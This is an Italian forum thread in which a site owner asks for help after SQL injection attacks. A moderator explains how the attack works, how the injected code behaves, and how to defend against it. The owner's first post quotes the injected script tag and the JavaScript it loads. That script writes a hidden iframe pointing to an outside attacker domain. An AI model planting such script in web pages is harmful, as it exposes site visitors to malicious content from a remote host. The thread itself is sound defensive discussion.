Visualizzazione dei risultati da 1 a 4 su 4

Discussione: Test SQL Injection

  1. #1

    Test SQL Injection

    Dato che abbiamo ricevuto diversi attacchi tramite SQL Injection al nostro sito, vorrei sapere se c'è qualcuno in grado di farmi una verifica per vedere da dove si possa eseguire tale tipo di attacco, dato che non ci sono form nel sito.
    L'attacco che riceviamo è sempre da parte di un certo www.adw95.com con lo script <script src=http://www.adw95.com/b.js></script> che contiene questo codice
    codice:
    window.status="";
    var cookieString = document.cookie;
    var start = cookieString.indexOf("banner82=");
    if (start != -1)
    {}else{
    var expires = new Date();
    expires.setTime(expires.getTime()+24*1*60*60*1000);
    document.cookie = "banner82=update;expires=" + expires.toGMTString();
    try{
    document.write("<iframe src=http://www.adw95.com/cgi-bin/index.cgi?admin width=0 height=0 frameborder=0></iframe>");
    }
    catch(e)
    {
    };
    }
    Che esattamente non so cosa faccia, ma temo serva a leggere i dati dei cookie, che tra l'altro non usiamo nel nostro sito.
    La mia competenza in fatto di sicurezza è piuttosto blanda, per cui se ho detto delle cavolate non mi prendete in giro
    Grazie mille
    Enrico Frison
    El signore ghe da e suche a chi che no ga i porsei!

  2. #2
    Moderatore di Sicurezza informatica e virus L'avatar di Habanero
    Registrato dal
    Jun 2001
    Messaggi
    9,782
    non è necessario un form per fare una injection.... i parametri possono essere passati anche via GET e quindi l'iniezione può essere portata a termine anche via GET... anzi di solito è anche più semplice.

    Database che permettono le stacked queries (queries che possono essere accodate l'una all'altra separandole con un ; Tra questi MS SQL server e Postgre SQL), in cui i diritti dell'utente che accede al DB non sono settati correttamente, potrebbero permettere l'iniezione in scrittura attraverso pagine web che di per sè eseguono solo letture! Teoricamente è possibile l'azzeramento completo del DB.

    Le regole sono sempre quelle... validare, validare, validare.. tutto quello che arriva dal browser remoto: POST, GET e COOKIES. Un parametro passato dal browser deve essere un numero? Verifichiamo che sia un numero prima di costruire la stringa per la query SQL. Deve essere una stringa? limitiamo il tipo di caratteri di cui la stringa può essere composta (eliminiamo caratteri critici come ' " % # -- etc...). Invece di definire i caratteri illegali sarebbe meglio definire quelli ammessi e verificare che quelli della stringa appartengano solo all'insieme "buono". Limitiamo la lunghezza massima della stringa per limitare la lunghezza di una possibile injection etc...
    Le regole guida per evitare questi inconvenienti si trovano molto facilmente in rete.


    Il javascript iniettato cerca un cookie di nome banner82, se lo trova ne estende la validità di 24 ore e inietta nella tua pagina un iframe che richiama l'url incriminato.

    Eliminare lo script è importante... molto più importante è eliminare la vulnerabilità.
    Leggi il REGOLAMENTO!

    E' molto complicato, un mucchio di input e output, una quantità di informazioni, un mucchio di elementi da considerare, ho una quantità di elementi da tener presente...
    Drugo

  3. #3
    Ottimo direi che la spiegazione è notevole!
    Ho fatto tutti i controlli del caso, ma come faccio a sapere da che pagina hanno avuto accesso? Dalle statistiche di Analytics di Google ho provato a vedere ma non c'è nessuna chiamata "strana"...
    Ad ogni modo grazie mille.
    Enrico Frison
    El signore ghe da e suche a chi che no ga i porsei!

  4. #4
    Moderatore di Sicurezza informatica e virus L'avatar di Habanero
    Registrato dal
    Jun 2001
    Messaggi
    9,782
    Ti consiglio di analizzare i log del server e cercare stringhe sospette. Da qui puoi risalire all'url richiesto e quindi alla pagina.
    Leggi il REGOLAMENTO!

    E' molto complicato, un mucchio di input e output, una quantità di informazioni, un mucchio di elementi da considerare, ho una quantità di elementi da tener presente...
    Drugo

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.